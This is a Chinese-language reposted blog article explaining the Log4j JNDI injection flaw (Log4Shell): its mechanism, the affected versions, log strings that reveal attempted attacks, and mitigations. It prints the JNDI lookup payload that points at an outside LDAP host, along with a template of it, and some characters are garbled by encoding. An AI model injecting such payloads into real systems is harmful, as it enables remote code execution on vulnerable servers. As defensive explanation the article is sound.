一.什么是log4j?
log4j全名就是(log for java),就是apache的一個(gè)開(kāi)源的日志記錄組件 ,它在Java項(xiàng)目中使用的比較廣泛。
使用方法:
??????????????? 1.pom引入依賴
??????????????? 2.獲取logger實(shí)例
??????????????? 3.logger.info() debug() error() warn()...
優(yōu)點(diǎn):功能豐富,易于集成
二.排查log4j
哈哈,先來(lái)檢查一下你們公司有沒(méi)有l(wèi)og4j的漏洞,估計(jì)都是修復(fù)了,當(dāng)時(shí)可是掀起血雨腥風(fēng)啊
1.pom檢查
2.可以通過(guò)日志中是否存在"jndi:ladp://"、"jndi:rmi://","dnslog.cn",等字符來(lái)看看有沒(méi)有別人在搞你
3.檢查日志中是否有相關(guān)堆棧報(bào)錯(cuò),堆棧中是否有一些JndiLookup,LdapURLContext等與JNDI調(diào)用相關(guān)的堆棧信息。
三.什么是JNDI注入
??? JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標(biāo)準(zhǔn)的Java命名系統(tǒng)接口,JNDI提供統(tǒng)一的客戶端API,通過(guò)不同的訪問(wèn)提供者接口JNDI服務(wù)供應(yīng)接口(SPI)的實(shí)現(xiàn),舉個(gè)例子:它就相當(dāng)于的你的一個(gè)秘書(shū),用了一些手段,你可以去指使他去干一些事情,這個(gè)手段就是lookup(),相當(dāng)于你給秘書(shū)一個(gè)目標(biāo)。
?四.什么是命名應(yīng)用(JNDI naming Reference)
先給這些名詞簡(jiǎn)單說(shuō)一下
Ldap:你可以將它理解為一個(gè)目標(biāo)數(shù)據(jù)庫(kù)。
然后這個(gè)命名引用就是:
1.在這個(gè)目標(biāo)數(shù)據(jù)庫(kù)(LDAP)中可以存儲(chǔ)一個(gè)外部的資源,對(duì)應(yīng)的Reference類
比如說(shuō)HTTP服務(wù)的一個(gè).class文件
2.如果JNDI客戶端,在LDAP服務(wù)上找不到對(duì)應(yīng)的資源,就會(huì)到指定的地址請(qǐng)求數(shù)據(jù),如果是命名引用的,就會(huì)將這個(gè)文件下載到本地。
3.如果你下載的這個(gè).class文件包含無(wú)參構(gòu)造函數(shù)或者靜態(tài)方法塊,那么加載的時(shí)候他會(huì)自動(dòng)執(zhí)行
四.漏洞原理
首先先來(lái)看一下網(wǎng)絡(luò)上流傳最多的payload
${jndi:ldap://2lnhn2.ceye.io}
在java中最常用的日志框架是log4j2和logback,其中l(wèi)og4j2支持lookup功能(查找搜索),這也是一個(gè)非常強(qiáng)大的功能,設(shè)計(jì)之初的目的也是為了方便開(kāi)發(fā)者調(diào)用,還支持輸出系統(tǒng)環(huán)境變量等功能,這樣極大的方便了開(kāi)發(fā)者。但是安全問(wèn)題往往就是因?yàn)椤伴_(kāi)發(fā)人員圖快捷”引起的,畢竟設(shè)計(jì)者也是需要在安全性和用戶體驗(yàn)之間做個(gè)平衡,但是如果只是打印日志的話沒(méi)沒(méi)有什么危害,但是,打印系統(tǒng)變量這種對(duì)系統(tǒng)而言構(gòu)不成什么威脅。最終要的原因是log4j還支持JNDI協(xié)議。而且這個(gè)JNDI協(xié)議中還支持lookup()方法,那么這個(gè)漏洞就危害比較大了。
整個(gè)攻擊鏈:
攻擊者在漏洞點(diǎn)注入表達(dá)式如${jndi:ldap://xxx.xxx.xxx/exploit}---》然后log4j2支持lookup()方法----》log4j2支持JNDI------》 ldap/rmi 遠(yuǎn)程加載攻擊者服務(wù)器上的class文件構(gòu)建對(duì)象(LDAP/RMI中有個(gè)命名引用功能) -----》尋找本地的惡意代碼并執(zhí)行
漏洞條件
1.使用了log4j的組件,并且版本在2.x <= 2.14.1
2.JDK版本小于8u191,7u201,6u211
漏洞修復(fù)與防御
等你把上面看完了,你也就知道怎么去修復(fù)了,歡迎補(bǔ)充!?。?/p>
1.禁止用戶請(qǐng)求參數(shù)出現(xiàn)攻擊關(guān)鍵字
2.禁止Lookup下載遠(yuǎn)程文件(命名引用)
3.禁止log4j使用Lookup
4.禁止log4j的應(yīng)用連接 外網(wǎng)文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-597776.html
5.可以直接在log4j jar包中刪除lookup (2.10以下)文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-597776.html
到了這里,關(guān)于log4j漏洞詳解的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!